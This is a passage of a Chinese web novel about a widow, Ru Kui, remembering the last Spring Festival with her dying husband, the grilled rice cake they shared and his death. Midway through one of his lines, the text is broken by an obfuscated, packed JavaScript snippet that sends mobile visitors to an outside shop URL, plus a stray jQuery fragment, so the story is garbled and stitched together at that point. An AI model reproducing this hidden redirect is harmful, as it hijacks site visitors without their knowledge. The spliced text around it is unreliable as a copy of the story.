每年春节，仙镇人都会打年糕，包粽子。


    这是几十年来的老传统。


    制作的食物不仅会留给自家人吃，还会分给邻居品尝，分享自家一年来的劳动收获与欣喜。


    如葵家，是附近十几户人家里，唯一有地臼的家庭。所以每到春节前几天，她家里就会热闹极了，挤满了前来排队打年糕的人。


    人们挽着裤脚坐着，撑着扁担站着，面前摆放着装了热气腾腾大米饭的筐子，与周围的人话着家常，排着队等待。


    如葵喜欢吃年糕。


    其实说是喜欢，也不准确。因为只要是食物，她都吃。家里的任何存粮，她都能吃得干干净净，不浪费一点。


    浪费食物，是她最看不下去的一件事情。


    打年糕的时节，她会提前两天，把堂屋打扫得干干净净的，一点灰尘、一根蛛网都看不见。家具器具，也都要摆放整齐。


    不能让别人看到屋子里不干净，不得体，否则就会认为如葵这个女主人，不懂得当家。


    打年糕这件事，在如葵家里，进行了许多年，从未停止过。


    只有一年是特例。


    林汉良患上肺炎的那个春节。


    为了让他能够在家里安静休息，如葵挨家挨户，登门拜访，抱歉地告诉他们，今年家里不能提供场地给大伙儿打年糕了。


    村里人都知道林汉良得了病，也都表示理解与同情。


    从最后一户人家回来的那个下午，南方的冬天，罕见地露出太阳。冷冷的橘色光晕，铺洒在地上，照亮了前天下过雨后的小水洼。


    大女儿安静地走在如葵身边。一路上都没说过话。


    看见了太阳，才开了口。


    “太阳出来了，看来今年春节，会暖和一些。”


    如葵低着头，注意这地面上的水洼，“嗯，你爸也能好过点。”


    回到家里，静悄悄的堂屋里，没有一个人，只有风声。从门口吹进来，在屋子里打个旋，留下满屋子的冷，再从四面八方的缝隙中钻出去。


    如葵爬上阁楼，去看丈夫。


    阁楼里只有一个小小的窗。


    丈夫躺在暗暗的光线里，被子下的身体，没有一丝起伏。只有走近了，才能看到他正半张着嘴，艰难地呼吸着。


    枕头旁边放着他的药。村医前天刚来过，给丈夫打了两针，说是再打半个月的针，这病就能好得差不多了。


    如葵数着日子，离半月之期还有几天。


    数着，算着，盼着。


    希望丈夫能早点康复。


    就算他的身体早就干不了一点活儿，但只要他活着，能让如葵知道，抬头看着阁楼的时候，自己的丈夫还好好地躺在上面，就知足了。


    丈夫醒了。也许他根本就没睡着过。


    “你回来了。”声音又哑又低沉，如葵几乎无法听清他在说什么。


    “要喝水吗？”如葵走了过去，从床边的小桌上，拿起热水壶，倒了半杯水，递到丈夫嘴巴。


    喝完了水，丈夫侧着头看了一会儿如葵。


    “今年是不是打不了年糕了？”


    “打年糕家里吵，今年就不打了。你好好休息。”


    “去年的年糕，家里还有吗？”


    “有，我收起来了。”


    “想吃了，你去烤几块年糕，我们一起吃吧。”


    硬邦邦的老年糕，放在灶火旁边烤个十分钟后，掰开硬脆的外壳，里面就是热气腾腾又软又糯的白糕，再撒上白糖，被热度一烘，暖烘烘的白糖水就会化进年糕里，吃起来，又甜又香。


    林汉良其实不喜欢吃年糕，他更喜欢吃过年包的粽子。


    但是如葵喜欢，坐在灶台旁，烤着火，吃着甜丝丝的年糕，一整天的劳累，都在此刻被化解了。


    那是一种无法言说的满足与幸福。


    可惜他不懂。


    所以丈夫说自己想吃年糕时，如葵还是有几分诧异的。


    十几分钟后，如葵又重新爬上了阁楼。这一会她的手里多了个瓷碗，碗里装着两个被烤得胀起来的年糕团团。


    胖胖的表皮上，是被熏烤出的蜜糖色。


    “加白糖吗？”如葵问丈夫。


    丈夫点了点头。


    于是如葵坐在床边，掰开一个年糕团团，往里面撒了一勺白糖，然后递给丈夫。


    “有点烫，你慢点吃。”


    丈夫接过，放进嘴里。


    “甜的年糕，还真好吃。”丈夫品尝着嘴里年糕的滋味，“以前我不爱吃这个，年糕皮又干又硬。我的牙齿不好，咬不动。”


    “那你把年糕皮留给我，我吃。”如葵说着，手上的动作不停，又掰开了第二个年糕。


    “这个你吃吧，我吃手上的就够了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012617|148605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”丈夫举着手里的年糕，“我再陪你吃一回年糕。”


    夜降临了。


    村落里静悄悄的，偶尔有几声狗叫。


    窄窄的阁楼里，点起了煤油灯。


    小小的一簇光，只能照亮丈夫的半边脸庞。沉默地咀嚼时，不断鼓起的半边脸皮。


    “明年让大妹她们少做点年糕。雨水多，年糕不好保存，都发霉了，太浪费。”丈夫低声叮嘱着。


    “明年再说吧。”如葵回答。以后的事，以后再说。


    这日子，就是走一步，看一步。


    她已经不打算去提前想那么多以后的事了。


    但她没想到，春节过完后，丈夫就走了。


    真的没有以后了。


    思绪胡乱地飘着，发散着。


    来到了丈夫临终前的场景。


    仙镇的习俗里，将死的人不能躺在床上。家里人要把他们抬到地上躺着。


    丈夫躺在地上铺的一床被子之上，迷迷糊糊地说着胡话。


    “阿婆…… 阿婆…… ”


    大女儿凑近父亲的脸，仔细去听他在说什么。


    “阿妈，阿爸在喊太婆。”


    如葵摇了摇头，用一只手掌托住自己的脸，泪水流了出来。“他快不行了，在说胡话。他根本就没见过我的阿婆。”


    “阿婆……我不去…… ”


    目睹着将死的人咽气，是一件很残忍的事。


    如葵很害怕，很伤心，很难受。


    她无法描述出这样的心情，她唯一能做的，就是坐在丈夫身边的小凳子上，呆呆地看着他的脸，他的呼吸。


    不知过了多久，她发现丈夫睁开了眼睛，正在看着她。


    她慢慢地挨近丈夫，把脸凑过去。


    “你是不是有什么话，想跟我说？”


    丈夫微张嘴唇，用尽全身的力气来发声。


    “再看看你，看你一眼…… ”


    再看你最后一眼。


    说完这句话没多久，丈夫就咽了气。


    如葵一辈子都没有再结过婚。


    “林汉良，是……是你吗？”


    小地仙回过头，如葵总算明白，自己为什么会觉得他的长相有几分眼熟了。


    因为他的五官长相，跟丈夫的很相似。


    “陈如葵，是我。”


    “我来找你了。”